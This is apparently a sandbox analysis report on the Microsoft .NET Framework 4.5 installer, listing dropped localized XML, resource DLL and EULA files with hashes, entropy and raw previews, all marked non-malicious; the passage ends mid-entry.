                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1036\b\f0\fs20 TERMES DE CONTRAT DE LICENCE D\rquote UN SUPPL\'c9MENT MICROSOFT\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .NET FRAMEWORK\~4.5 POUR SYST\'c8ME D\rquote EXPLOITATION MICROSOFT WINDOWS ET MODULES LINGUISTIQUES ASSOCI\'c9S\par..\pard\nowidctlpar\sb120\sa120\b0 Microsoft Corporation (ou, en fonction du lieu o\'f9 vous vivez, l\rquote un de ses affili\'e9s) vous accorde une licence pour ce suppl\'e9ment. Si vous d\'e9tenez une licence d\rquote utilisation du logiciel de syst\'e8me d\rquote exploitation Microsoft Windows (le \'ab\~logiciel\~\'bb), vous \'eates autoris\'e9 \'e0 utiliser ce suppl\'e9ment. Vous n\rquote\'eates pas autoris\'e9 \'e0

                  C:\02160d95efb0ac51c5e073\1037\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (405), with CRLF line terminators
                  Category:dropped
                  Size (bytes):49470
                  Entropy (8bit):4.18647029092677
                  Encrypted:false
                  SSDEEP:384:4aap2AR2yKAhXgvuQGnduIPXpJjwvS23rq3v:iHLJjwU/
                  MD5:94F3480D829CEE3470D2BA1046F2F613
                  SHA1:9A8FFC781AFB5F087B39ABE82C11E20D3E08B4F3
                  SHA-256:ECEB759E0F06E5D4F30BC8A982F099C6C268CFF4A1459222DA794D639C74F97F
                  SHA-512:436D52DA9C6C853616CF088C83B55032E491D6D76EECA0BF0CB40B7A84383A1FCFFCB8AC0793CDEA6AF04D02ACF5C1654D6B9461506EE704D95A9469581E8EAF
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".H.E.B."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1037\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):27640
                  Entropy (8bit):6.496444461557078
                  Encrypted:false
                  SSDEEP:384:K5k+68UsokAHDWeeW7/L0GftpBjeHFtAHRN7RalXx1GX:K5TUv5Ei8QR81Y
                  MD5:CD3B6C4C2D619216EFC0335FCD4791A3
                  SHA1:C1C32529902902AC584C73F16BF8CF37D4C3539B
                  SHA-256:BAE5D0F60231808F35517FD7522800D7EF4F1F0EA40BDF7958ECA6E3E7BFB663
                  SHA-512:C9CD9EBCDAE6D0E0B2351A03495EF3886BD639E9A02B029E890064762B3E6AF063638A3954B5108FD5D8834BA5B3C5934A3F2B5F2D2F596BE02E05234A1A1C1A
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........*...............................................P.......f....@.......................................... ..x'...............=...........................................................................................text...G...........................@..@.rsrc....0... ...(..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1037\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):13264
                  Entropy (8bit):4.2505872475144075
                  Encrypted:false
                  SSDEEP:192:ufyrn2sVUPNqxXL7oZkvrLwWkb8dDDO3mZlXHfZ4Lc2:wu/2
                  MD5:ED3DFB0D44DA41DCD264DBC42648331B
                  SHA1:3475B1A96E2A4A1AC649A1BDAD751170DCF28B09
                  SHA-256:8AB3E1B89E2F3F6175F141B85B4C4F708EC19B49C12FBFE8BEE0C7217DA77B0B
                  SHA-512:DD6B793327239E4630E2C7AEB441A75F7B65694440DB22F4037DBCA5045C716B70A37BCB1D220D09F34FD94315DEA2B4C13BB7887991DBFEE1C8B23FF89B5C88
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset177 Tahoma;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset177 Times New Roman;}{\f3\froman\fprq2\fcharset2 Symbol;}{\f4\froman\fprq2\fcharset0 Times New Roman;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\rtlpar\nowidctlpar\sb120\sa120\qr\lang1037\b\f0\rtlch\fs20\'fa\'f0\'e0\'e9 \'f8\'f9\'e9\'e5\'ef \'ee\'f9\'ec\'e9\'ee\'e9\'ed \'f2\'e1\'e5\'f8 \'fa\'e5\'eb\'f0\'fa \lang1033\f1\ltrch MICROSOFT\par..\pard\brdrb\brdrs\brdrw10\brsp20 \rtlpar\nowidctlpar\sb120\sa120\qr .NET FRAMEWORK 4.5 FOR MICROSOFT WINDOWS OPERATING SYSTEM AND ASSOCIATED LANGUAGE PACKS\par..\pard\rtlpar\nowidctlpar\sb120\sa120\qr\b0 Microsoft Corporation\lang1037\f0\rtlch (\'e0\'e5 \'e0\'e7\'fa \'ee\'e4\'f0\'f6\'e9\'e2\'e5\'e9\'e5\'fa \'f9\'ec\'e4, \'e1\'e4\'fa\'e0\'ed \'ec\'ee\'f7\'e5\'ed \'ee\'e2\'e5

                  C:\02160d95efb0ac51c5e073\1038\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (489), with CRLF line terminators
                  Category:dropped
                  Size (bytes):56220
                  Entropy (8bit):3.667127905946952
                  Encrypted:false
                  SSDEEP:1536:jICYRXu9F70STXrzE2DdJH0jji3kC4/Lq:jICYRX6F70STXrzE2DdJH0jji3kCeu
                  MD5:818E35B3EB2E23785DECEF4E58D74433
                  SHA1:41B43D0B3F81A3A294AA941279A96F0764761547
                  SHA-256:3D8B2C8079CF8117340A8FC363DCEB9BE102D6EB1A72881B0C43E1E4B934303E
                  SHA-512:98AE09DA1BE0EBE609D0E11D868258AB322CDC631E3105296C8CE243D821B415F3C487CBB4CD366BB4BDB7F0F9447A25836E53320B424A9FF817CAC728FF4AE2
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".H.U.N."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1038\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):30200
                  Entropy (8bit):6.102066694712891
                  Encrypted:false
                  SSDEEP:768:OAGj6gQwHCbfqkmV6EMCCJEVqZi0MC4gxiY4Eo:aj6wHUfFmV6aCJEVn0MC4gxX4Eo
                  MD5:336590E8106723E5B31E3D9824D51438
                  SHA1:A4CB72FFBD92A0CA72A47AAF69933B14A2B96297
                  SHA-256:96C61413887E920B68821EDB0C9446141394D9E414C09819B38C53EBAE237CF0
                  SHA-512:BEA9A7C3B76426CD064AB518E5FC50D215B3317A3B5319D2123D804EC0A829A3F4810A8B68DA8DBC3DEEDB192FE2A1711678A8D2B230C9A06CB02C155E4CBC39
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........4...............................................`......8.....@.......................................... ...0...........8...=...........................................................................................text...G...........................@..@.rsrc....@... ...2..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1038\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):8718
                  Entropy (8bit):5.071140297522545
                  Encrypted:false
                  SSDEEP:192:Hf9BulFDSpMwUhhl0rAR4BAiopid7mBOFcNC032:1BzpMVhhl0cIAPqmQWx2
                  MD5:B827561EDBD0086F463B2BBDFFB900BF
                  SHA1:0CAAEDFC9F51CB583E3296DA67D2E4F4EFCB94BF
                  SHA-256:2A6E3AD6437BF5261ADC96D1183BD9996BDA93CB8C3F5148D167CF0C8811F094
                  SHA-512:8392BBF6063B5B8A402CF1166CCF234E44481356F5DE16FB27BD0FD88A268D59828368D13927676B057CFD2916F0F1FBEAF61ABB257D6D4033D5D062504A062F
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset238 Tahoma CE;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\fswiss\fprq2\fcharset238 Tahoma;}{\f3\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1038\b\f0\fs20 KIEG\'c9SZ\'cdT\'d5 LICENCFELT\'c9TELEK MICROSOFT SZOFTVERHEZ\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1038\f2 NET FRAMEWORK 4.5 MICROSOFT WINDOWS OPER\'c1CI\'d3S RENDSZERHEZ \'c9S A HOZZ\'c1JUK TARTOZ\'d3 NYELVI CSOMAGOKHOZ\lang1033\f1\par..\pard\nowidctlpar\sb120\sa120\lang1038\b0\f2 Ezen kieg\'e9sz\'edt\'e9s licenc\'e9t a Microsoft Corporation (vagy az \'d6n lakhelye alapj\'e1n egy t\'e1rsv\'e1llalata) ny\'fajtja \'d6nnek.\lang1033\f1 \lang1038\f2\'d6n haszn\'e1lhatja ezt a kieg\'e9sz\'edt\'e9st, ha rendelkezik licenccel a Microsoft Window

                  C:\02160d95efb0ac51c5e073\1040\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (478), with CRLF line terminators
                  Category:dropped
                  Size (bytes):55214
                  Entropy (8bit):3.5284064994326227
                  Encrypted:false
                  SSDEEP:384:4HcptvsG3PLuMa1eXzNZNs4fhDbbdJBo5U6sguAv:fawPJG3
                  MD5:5E805353CB010FC22F51C1F15B8BCAA1
                  SHA1:9360F229AEE4FED6897D4F9F239072AA22D6DA9E
                  SHA-256:02B83EBD2689E22668A5EE55A213091FDC090DFEE42C0BE9386F530D48AF8950
                  SHA-512:275D7C7C952A352417FE896C5BE07F5A4C50FF51569CB04AB615CDA6A880A8E83F651C87F226A1EB79D8286F777488BFAAC2636A1A2057CF5DB83037B3E1214F
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.T.A."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1040\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29640
                  Entropy (8bit):6.078829179177531
                  Encrypted:false
                  SSDEEP:384:dFF6rgzAqb9GRcRJksWo5OWfeWo1ae00GftpBjdgeDHRN7blo6pO:d0qb9GLSv4asiPDq0O
                  MD5:0F2C98F236CD32B5077AE1469BB73D43
                  SHA1:A31E06333AADC68335C9052B2BA0BD2F9F5C5DE1
                  SHA-256:3C6C187D67DE24ECC17273D8E9D2F5B919F90171B945C858E7D6C43520B3D7D7
                  SHA-512:B271B7763B7FAF899079EF4C1C9C04CE793C6D76C245DD32DE0A6DB5F933A072301CC29E009F224EBEE7DACB0B40E94D4B00A79F7119104D64B06BC254C455E8
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........2...............................................P............@.......................................... ...............6...=...........................................................................................text...G...........................@..@.rsrc....0... ...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1040\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):6638
                  Entropy (8bit):4.908663943753199
                  Encrypted:false
                  SSDEEP:192:Wf8ZhKz11tQSpNC0gLysZ0vMOy/EeVwPjr2:nKz11tQSpNliysZ0q/EemPjr2
                  MD5:A25EA71324DBA5006356C19DAECD6D60
                  SHA1:5118D131DFFE6140343A4B39A0A6AD4183AED9B2
                  SHA-256:CD1D65995BFDB68BEE16B5D7CB256779D4EBA84A820DC7FC1656D322EB26E919
                  SHA-512:3704DFB6B2FBBF86FC98DCC9DBD4F75BA149F1EF423585E53A2C102F3661F71C29D6E8FB11AB165433814D7E64D99CE7F78486D1FF40C8560CB0C7D85E3DA2E2
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1040\b\f0\fs20 CONDIZIONI DI LICENZA SOFTWARE MICROSOFT SUPPLEMENTARI\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .NET FRAMEWORK 4.5 PER IL SISTEMA OPERATIVO MICROSOFT WINDOWS E LANGUAGE PACK ASSOCIATI\par..\pard\nowidctlpar\sb120\sa120\b0 Microsoft Corporation (o, in base al luogo di residenza del licenziatario, una delle sue consociate) concede in licenza al licenziatario il presente supplemento. Qualora il licenziatario sia autorizzato a utilizzare il software del sistema operativo Microsoft Windows (il \ldblquote software\rdblquote ), potr\'e0 usare il presente supplemento. Il\~licenziatario non potr\'e0 utilizzarlo qualora non disponga di una licenza

                  C:\02160d95efb0ac51c5e073\1041\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (342), with CRLF line terminators
                  Category:dropped
                  Size (bytes):46600
                  Entropy (8bit):4.409466345968345
                  Encrypted:false
                  SSDEEP:192:4an2Bp4mLpSTRjA0JDTdMT3j0o45v02yAciwu37DnV0gUOFdqHZmxKJD4qNCGzIK:4acp4mhUoMv0Cci5V0tfJDhUyv
                  MD5:5AB13768B6C897EFF96E35F91B834D25
                  SHA1:54F04C73A57A409E4C1FE317A825EE2ED4DDCD10
                  SHA-256:87B5CE86B0134EA82215DCF04FFBF7F5C8A570F814F82B4C7BA6106195924C6B
                  SHA-512:EE98F34723A1593EF12589EA9657F8D9A3C9DC8A3FB5EED6F8BB026C6656A3CA6FEC8243745ED7FBF406019B6E2B42762C1EE74D26C0F70CC9DA272291FE680F
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..e,g.."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1041\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):26616
                  Entropy (8bit):6.621294242678565
                  Encrypted:false
                  SSDEEP:384:TLC6f20jAQIid7W58EWH7h0GftpBjm6EEWFtAHRN7WQKlXx1GNjw:Rf20jFb0ic6pVtM1Qjw
                  MD5:D96694D1BED245C73A01DD30E007D72E
                  SHA1:6E27C0BC1C2F71AB8988B774A276BD7CB9DA9239
                  SHA-256:6700272B2BF4DD40F9F3F8681A8B354D693AE584B00BAA622C3DC64E08C44FA2
                  SHA-512:9A18B2AA6DFB496B928BA04407003785A35F09E6ADF5DACB26E6C2B5F2DF03C6F6F7E2B4F3F91735D9ADF38C399C162DC3C4F078F4063C6DF2C205EE2B622F7D
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........&...............................................P......5.....@.......................................... ..."...........*...=...........................................................................................text...G...........................@..@.rsrc....0... ...$..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1041\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):18998
                  Entropy (8bit):3.9149942927876853
                  Encrypted:false
                  SSDEEP:192:KfC3po2+vGCG1yROmuu18Eq4QEjFPXfZX3ei8ygkLq+gevi8Or83kHuSqcTl/U9n:YcChJ3eLCgtdvRuGsguqb2
                  MD5:A34C454C3A1A899AEEBF96A3B4868C11
                  SHA1:E8D97A9AFAD66BFF1F6DA095382B6E974BD3B5AC
                  SHA-256:1996CD6C51BAD34C7A7433AF79CD601D74146152D2C6293843A04770A22C9299
                  SHA-512:43BB628E06A12F5AD8D895754E10FC85C6DFC666FB6272062E721922E11961CC3BAEA8C521C1F0685E3C916A4446EB1B04658F7D3AE627E0835DCC8CEC828036
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset128 MS PGothic;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1041\b\f0\fs20\'83\'7d\'83\'43\'83\'4e\'83\'8d\'83\'5c\'83\'74\'83\'67\lang1033\f1 \lang1041\f0\'83\'5c\'83\'74\'83\'67\'83\'45\'83\'46\'83\'41\'92\'c7\'89\'c1\'83\'89\'83\'43\'83\'5a\'83\'93\'83\'58\'8f\'f0\'8d\'80\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f1 MICROSOFT WINDOWS \lang1041\f0\'83\'49\'83\'79\'83\'8c\'81\'5b\'83\'65\'83\'42\'83\'93\'83\'4f\lang1033\f1 \lang1041\f0\'83\'56\'83\'58\'83\'65\'83\'80\'82\'a8\'82\'e6\'82\'d1\'8a\'d6\'98\'41\'8c\'be\'8c\'ea\'83\'70\'83\'62\'83\'4e\'97\'70\lang1033\f1 .NET FRAMEWORK 4.5\f2\par..\pard\nowidctlpar\sb

                  C:\02160d95efb0ac51c5e073\1042\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (336), with CRLF line terminators
                  Category:dropped
                  Size (bytes):45480
                  Entropy (8bit):4.349845548905611
                  Encrypted:false
                  SSDEEP:384:49lpQS0q9/f5zzX7HjhVg77HcADQ2PeK4JSCPQv7Q2H/Sv:SeLeVJh
                  MD5:AD25367F86144F29946DF3B3866E7DBE
                  SHA1:CC8470DBE0BFE9394742D639D9CAEEC961A27928
                  SHA-256:90D0885F929059358FE76E61B560B3D188ABBE7C041BABEFC82038F6FAEBB7EB
                  SHA-512:66A343D1405E377BF2D303B0EC896814A46248C05DFE61A2C3167ED1C915964F7F57B335BD7FAE324461E65E5EE6BC2384EFF28F71C4325EB3C4F89611659AFB
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".\.m..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1042\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):26056
                  Entropy (8bit):6.6616706205539735
                  Encrypted:false
                  SSDEEP:384:la+vt2GRc9rWpMeW21ae00GftpBj3cDHRN7blrlIeCA:UE4CasimDT5
                  MD5:76D65FBF47D8728BC2BD21C0AE980122
                  SHA1:1C4DF06787172438881F5C83569B456869BFC901
